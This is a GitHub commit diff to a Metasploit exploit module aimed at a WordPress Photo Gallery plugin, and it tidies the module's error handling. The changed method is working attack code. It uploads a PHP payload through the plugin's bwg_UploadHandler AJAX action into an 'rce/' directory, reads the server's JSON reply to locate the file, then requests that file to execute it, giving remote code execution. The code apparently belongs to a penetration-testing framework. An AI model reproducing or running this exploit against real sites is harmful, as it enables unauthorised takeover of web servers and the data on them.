Skip to content

Commit cb1efa3

Browse files
committed
Improved error handling, tidied up some code
1 parent 80a086d commit cb1efa3

File tree

1 file changed

+28
-24
lines changed

1 file changed

+28
-24
lines changed

modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb

Lines changed: 28 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -76,41 +76,45 @@ def exploit
7676

7777
print_status("#{peer} - Preparing payload...")
7878
payload_name = Rex::Text.rand_text_alpha(10)
79-
uploader_url = normalize_uri(wordpress_url_admin_ajax, '?action=bwg_UploadHandler&dir=rce/')
8079
data = generate_mime_message(payload, payload_name)
8180

8281
print_status("#{peer} - Uploading payload...")
8382
res = send_request_cgi(
84-
'method' => 'POST',
85-
'uri' => uploader_url,
86-
'ctype' => "multipart/form-data; boundary=#{data.bound}",
87-
'data' => data.to_s,
88-
'cookie' => cookie
83+
'method' => 'POST',
84+
'uri' => wordpress_url_admin_ajax,
85+
'vars_get' => { 'action' => 'bwg_UploadHandler', 'dir' => 'rce/' },
86+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
87+
'data' => data.to_s,
88+
'cookie' => cookie
8989
)
9090

9191
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
92-
vprint_error("#{peer} - Server responded with status code #{res.code}") if res.code != 200
92+
fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
9393
print_good("#{peer} - Uploaded the payload")
9494

9595
print_status("#{peer} - Parsing server response...")
96-
json = JSON.parse(res.body)
97-
if json.nil? || !json['files']
98-
fail_with(Failure::UnexpectedReply, 'Unable to parse the server response')
99-
else
100-
uploaded_name = json['files'][0]['name'][0..-5]
101-
php_file_name = "#{uploaded_name}.php"
102-
payload_url = normalize_uri(wordpress_url_backend, 'rce', uploaded_name, php_file_name)
103-
print_good("#{peer} - Parsed response")
96+
begin
97+
json = JSON.parse(res.body)
98+
if json.nil? || json['files'].nil? || json['files'][0].nil? || json['files'][0]['name'].nil?
99+
fail_with(Failure::UnexpectedReply, 'Unable to parse the server response')
100+
else
101+
uploaded_name = json['files'][0]['name'][0..-5]
102+
php_file_name = "#{uploaded_name}.php"
103+
payload_url = normalize_uri(wordpress_url_backend, 'rce', uploaded_name, php_file_name)
104+
print_good("#{peer} - Parsed response")
104105

105-
register_files_for_cleanup(php_file_name)
106-
register_files_for_cleanup("../#{uploaded_name}.zip")
107-
print_status("#{peer} - Executing the payload at #{payload_url}")
108-
send_request_cgi(
109-
{
110-
'uri' => payload_url,
111-
'method' => 'GET'
112-
}, 5)
113-
print_good("#{peer} - Executed payload")
106+
register_files_for_cleanup(php_file_name)
107+
register_files_for_cleanup("../#{uploaded_name}.zip")
108+
print_status("#{peer} - Executing the payload at #{payload_url}")
109+
send_request_cgi(
110+
{
111+
'uri' => payload_url,
112+
'method' => 'GET'
113+
}, 5)
114+
print_good("#{peer} - Executed payload")
115+
end
116+
rescue
117+
fail_with(Failure::UnexpectedReply, 'Unable to parse the server response')
114118
end
115119
end
116120
end

0 commit comments

Comments
 (0)